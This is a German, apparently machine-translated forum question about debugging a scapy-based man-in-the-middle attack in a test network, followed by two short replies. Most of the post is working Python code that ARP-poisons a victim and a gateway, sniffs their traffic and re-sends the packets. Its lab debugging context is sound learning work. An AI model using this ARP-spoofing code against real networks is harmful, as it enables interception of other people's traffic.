Ich versuche, einen Mann in der Mitte Angriff mit scapy
in einem Test-Netzwerk zu tun. Mein Setup ist wie folgt: Mann in der Mitte Angriff mit scapy
Jetzt, wo Sie auf die Idee, hier ist der Code:
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if __name__=="__main__":
mitm=MITM()
Dieser Code auf dem VM2
läuft.
Arp-Vergiftung funktioniert gut, ich überprüfe die ARP-Caches beider Maschinen und das Verhalten ist wie erwartet. Aber im Innern routep
ich die src und dst MAC-Adresse ändern und versuchen, das empfangene Paket zu entsprechender Host zu senden, gibt scapy eine Warnung:
WARNING: more Mac address to reach destination not found. Using broadcast
Und ich sehe in den wireshark
auf VM2
die modifizierten Pakete nicht verlassen Die Maschine. Warum sollte das so sein? Fehle ich etwas?
Ich denke, du bist vorbei, es zu verkomplizieren. Sie müssen nur gefälschte ARP-Antworten an das Subnetz senden und die IP-Weiterleitung auf Ihrem Computer aktivieren. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC
Könnte es sein, dass Sie scapy explizit mitteilen müssen, dass Sie Frames einschließlich MAC-Ebene senden und empfangen möchten? –